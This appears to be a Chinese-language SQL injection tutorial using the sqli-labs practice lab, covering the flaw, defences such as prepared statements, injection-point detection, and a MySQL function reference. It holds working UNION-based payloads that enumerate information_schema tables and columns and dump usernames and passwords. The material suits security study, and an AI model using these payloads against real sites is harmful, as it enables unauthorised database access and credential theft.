目录
SQL注入
一、简介
是指web应用程序对用户输入数据的合法性没有进行判断检查,直接将参数带入数据库查询,那么攻击者科通过构造不同的SQL语句,来对数据库进行操作。
条件:
1、参入带入数据库进行查询
2、参数用户可控
注入最终是数据库,与脚本、平台无关;与编程语音、数据库无关,问题在程序代码
代码示例:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
二、漏洞危害
利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可获取服务器权限或者系统权限。
三、防范措施
1、过滤用户输入的不安全字符
2、采用预编译语句 Prepared Statement
3、使用安全的API接口处理SQL
四、漏洞挖掘
4.1 可能存在的注入的位置:
根据SQL 注入漏洞的原理可知,有参数的地方、带入数据库查询的就可能存在SQL注入,宽泛的讲就是增删改查的地方。
1、url地址(GET请求方式),类似?id=1、?page=1、?num=1这样参数
2、消息体(POST请求方式),数据包里类似 key=values 这样的参数
3、消息头,比如referer、cookie、user-agent等消息头(因为服务器可能会存储这些消息头,在其他地方调用,当然也可能存在XSS漏洞)
4、鉴别伪静态页面
4.2 判断注入点:
找出可疑的位置,在参数后面加单引号或者双引号,看是否发生报错,若发生错误则表示服务器接收了输入的参数,存在注入。
http://192.168.2.1/sqli-labs/Less-1/?id=1'
http://192.168.2.1/sqli-labs/Less-1/?id=1"
4.3 判断闭合方式/参数分类:
PS:浏览器默认对特殊符号进行url编码,若用burp等工具测试注入,需要对内容进行URL编码,否则容易出问题。burp中可以用+代替空格
参数类型有:数字型、字符型('、")、搜索型(%')、xx型('))
字符型,判断闭合方式
?id=2'and 1=1 -- + 正常显示(and左右都为真,整体语句为真)
?id=2'and 1=2 -- + 不正常显示(1=2为假,整体语句为假)
-- + 杠杠空格 是mysql数据库的注释符,注释符后面内容不执行
?id=2'and ‘1’=‘1 正常显示(2前面单引号、1后面单引号由服务器补齐)
?id=2'and ‘1’=‘2 不正常显示
4.4 注入分类:
UNION query SQL injection(联合查询注入)
Error-based SQL injection(错型注入)
Boolean-based blind SQL injection(布尔型注入)
Time-based blind SQL injection(基于时间延迟注入)
Stacked queries SQL injection(可多语句查询注入)
4.4.1联合查询
以sqli-labs第一关为例:/sqli-labs/Less-1/?id=1
在index.php文件的红框加入代码,会展示sql语句,效果如图
判断注入点:使用单引号会报
![]() | ![]() |
判断字段数:order by 数字
4超过字段会报错,3未报错,则字段数为3
![]() | ![]() |
判断显示位置: union select 1,2,3 -- +
先把1改成-1,让前面内容为空。如图可知2和3的位置可以显示内容
查下当前数据库和版本:
查数据库中的表:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +
查表中的字段:
?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--%20+
查字段的内容:
?id=-1%27union%20select%201,2,group_concat(id,':',username,'--',password)from users--%20+
4.4.2 报错注入
mysql数据库-基础知识
mysql中的注释符:
- @
- #
- -- (杠杠空格) (注入中经常用到的)
- /* ..... */
- /*! .... */
自带数据库information_schema
mysql 5.0版本之后产生了一个虚拟数据库information_schema,在这个数据库中有三个很重要的表:
information_schema:  该数据表存储了mysql数据库中的所有数据库的库名
information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名
information_schema.columns:  该数据表存储了mysql数据库中的所有列的列名
mysql中比较常用的一些函数:
version(): | 查询数据库的版本 |
user(): | 查询数据库的使用者 |
database(): | 数据库 |
system_user(): | 系统用户名 |
session_user(): | 连接数据库的用户名 |
current_user: | 当前用户名 |
load_file(): | 读取本地文件 |
@@datadir: | 读取数据库路径 |
@@basedir: | mysql安装路径 |
@@version_complie_os: | 查看操作系统 |
length() | 返回字符串的长度 |
substring() | 截取字符串 |
substr() | 截取字符串 |
mid() | 截取字符串 |
left() | 从左侧开始取指定字符个数的字符串 |
concat() | 没有分隔符的连接字符串 |
concat_ws() | 含有分割符的连接字符串 |
group_conat() | 连接一个组的字符串 |
ord() | 返回ASCII码 |
ascii() | 返回ASCII码 |
hex() | 将字符串转换为十六进制 |
unhex() | hex的反向操作 |
md5() | 返回MD5值 |
sleep() | 睡眠时间为指定的秒数 |
if(true,t,f) | if判断 |
sql注入中的常见函数汇总
ascii(str) : 返回给定字符的ascii值 如 ascii("a")=97
length(str) : 返回给定字符串的长度,如 length("string")=6
substr(string,start,length) 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
substr()、stbstring()、mid() 三个函数的用法、功能均一致
concat(username): 将查询到的username连在一起,默认用逗号分隔
group_concat(字段1,'*',字段2): 将字段1和字段2的数据查询到一起,中间用*连接
count(table_name) 返回表的个数
if(expr1,expr2,expr3) 如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
数据库基本命令:
show databases; 查看有哪些数据库
use mysql; 进入数据库
show tables; 查看数据库中有哪些表
desc 表名 查看表中的字段/结构
select * from user; 查看users表中的所有内容
select host,id,name from mysql.user; 查看表中的指定字段
条件查询:
limit 0,1 显示第一行看起,一行数据
select host,id,name from mysql.user limit 2,3; 从第三行开始,显示三条数据
select host,id,name from mysql.user limit 1; 只显示一行数据
select host,id,name from mysql.user limit 2: 显示前两行数据
select * from users where id=5 查找users表中id字段值等于5的那一行数据
select * from users where id=5 limit 0,2 查找users表中id字段值等于5的那一行数据,where后面加了两个限定参数第一个是显示第五行第二个是显示第一行和第二行,程序以id=5这个限定条件为先,相当于此时的limit0,2没起作用